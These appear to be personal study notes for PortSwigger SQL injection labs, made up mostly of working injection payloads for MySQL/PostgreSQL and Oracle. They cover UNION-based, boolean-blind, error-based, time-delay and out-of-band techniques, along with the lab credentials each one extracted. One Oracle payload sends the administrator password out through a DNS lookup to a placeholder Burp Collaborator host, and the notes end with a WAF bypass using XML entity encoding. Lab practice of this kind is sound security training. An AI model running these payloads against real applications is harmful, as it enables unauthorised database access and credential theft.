Skip to content

SQL injection

SQL injection cheat sheet | PortSwigger

Labs worth to try different solutions:

Lab: Blind SQL injection with conditional responses

Note: Determine the number of columns that are being returned by the query. '+UNION+SELECT+null,null,null+--

Syntax of substr in Oracle and substring in MySql:

substr(obj, start, length)

CAST(expression AS datatype)

MySQL

# When output is strings, and the output has two columns
'+UNION+SELECT+'abc','def'+--+-
' UNION SELECT 'abc','def' -- -

'+UNION+SELECT+1,2+--+-
' UNION SELECT 1,2 -- -

# show schema (result: pg_catalog, public)
' UNION SELECT schema_name,null from information_schema.schemata -- -

# show tables (result: users_lrnvvh, products)
' UNION SELECT table_name,null from information_schema.tables where table_schema='public'-- -

# show columns (result: username_mqypon, email, password_yafwrb)
' union select column_name,null from information_schema.columns where table_name='users_lrnvvh' --

# show content of the columns
' union select username_mqypon, password_yafwrb from users_lrnvvh --

# results:
<th>wiener</th>
<td>lcw9jq5ddm0w6khq4yny</td>
<th>administrator</th>
<td>syakr1r6zzdoyucbbt3p</td>

Blind Sql injection

# verify if table users exists
TrackingId=AR4Id4NOsDWKgZr5' and (select 1 from users limit 1)=1 --
# OR
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT 'a' FROM users LIMIT 1)='a

# seek the length of password, the length is 20
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT 1 FROM users WHERE username='administrator' AND LENGTH(password)>2)=1 --

# find the first char of the password in BurpSuite Intruder
# wordlist is 0-9 and a-z
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§;

# find the second char of the password in BurpSuite Intruder
TrackingId=AR4Id4NOsDWKgZr5' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='§a§;
....
# Result
9t4y6d9d990py759cj4g

CAST func error-based Sqli

TrackingId=yhTBJKBUnbrE987b' AND 1=CAST((SELECT username FROM users) AS int)--

# change to

TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--

TrackingId=' AND 1=CAST((SELECT password FROM users limit 1) AS int)--

<h4>ERROR: invalid input syntax for type integer: "89p5bcodusbr9fnbivol"</h4>
<p class=is-warning>ERROR: invalid input syntax for type integer: "89p5bcodusbr9fnbivol"</p>

alt text alt text

Blind SQL injection with time delays

# PostgreSql
TrackingId=hPkhOrySFQ85FpIa'||pg_sleep(10) --

TrackingId=hPkhOrySFQ85FpIa'||select case when (username='administrator') then pg_sleep(10) else pg_sleep(0) end from users --

# %3B is ;
TrackingId=hPkhOrySFQ85FpIa'%3Bselect case when (username='administrator' and length(password)>3) then pg_sleep(10) else pg_sleep(0) end from users --


TrackingId=hPkhOrySFQ85FpIa'%3Bselect case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(0) end from users --

# For this process to be as reliable as possible in BurpSuite Intruder, you need to configure the Intruder attack to issue requests in a single thread. To do this, go to the "Resource pool" tab and add the attack to a resource pool with the "Maximum concurrent requests" set to 1. 

# position 1: 1-20
# position 2: 0-9;a-z
TrackingId=hPkhOrySFQ85FpIa'%3Bselect case when (username='administrator' and substring(password,§1§,1)='§a§') then pg_sleep(10) else pg_sleep(0) end from users --

# Results:
kpogkd2oobo6qn6ah9t0

Oracle

# When output is strings, and the output has two columns
'+UNION+SELECT+'abc','def'+from+dual+--+-
' UNION SELECT 'abc','def' from dual -- -

'+UNION+SELECT+1,2+from+dual+--+-
' UNION SELECT 1,2 from dual -- -

# List tables
' UNION SELECT table_name,NULL FROM all_tables --

# List columns names in table
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_MAFRVO'--
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_MAFRVO'--

# List credentials
' UNION SELECT PASSWORD_LIKLQH,USERNAME_BWWGIJ FROM USERS_MAFRVO --

# Results
<th>9jddzr1p7b0sn05e9g9f</th>
<td>carlos</td>
<th>xas8edrgbt2bhhohdfi9</th>
<td>wiener</td>
<th>ya6oioucvyxx27b74hjo</th>
<td>administrator</td>

Blind Sql injection

# verify if table users exists
TrackingId=3xqush3htRbBpJGL'||(select '' from users where rownum=1)||'

# 500 Internal Server Error, an error is received when the condition is true
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

# 200 OK
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

# check whether the username administrator exists
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

# seek the length of password, the length is 20
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN LENGTH(password)>20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

# find the first char of the password in BurpSuite Intruder
# wordlist is 0-9 and a-z
TrackingId=3xqush3htRbBpJGL'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

....
# Result
xrrttoce7r3macl8ykml

Blind SQL injection with out of band interaction

-- Oracle database DNS lookup with data exfiltration
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAI"> %remote;]>'),'/l') FROM dual--

x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

alt text

Blind SQL injection with out-of-band data exfiltration

-- Oracle database DNS lookup with data exfiltration
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users when username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--

TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users when username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

alt text

alt text

SQL injection with filter bypass via XML encoding

Bypass the WAF

  1. As you're injecting into XML, try obfuscating your payload using XML entities. One way to do this is using the Hackvertor extension. Just highlight your input, right-click, then select Extensions > Hackvertor > Encode > dec_entities/hex_entities.

  2. Resend the request and notice that you now receive a normal response from the application. This suggests that you have successfully bypassed the WAF.

Craft an exploit

  1. Pick up where you left off, and deduce that the query returns a single column. When you try to return more than one column, the application returns 0 units, implying an error.

  2. As you can only return one column, you need to concatenate the returned usernames and passwords, for example:

<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></storeId>

<storeId> <@hex_entities>1 UNION Select username || '~' || password FROM users--</@hex_entities></storeId>
  1. Send this query and observe that you've successfully fetched the usernames and passwords from the database, separated by a ~ character.

alt text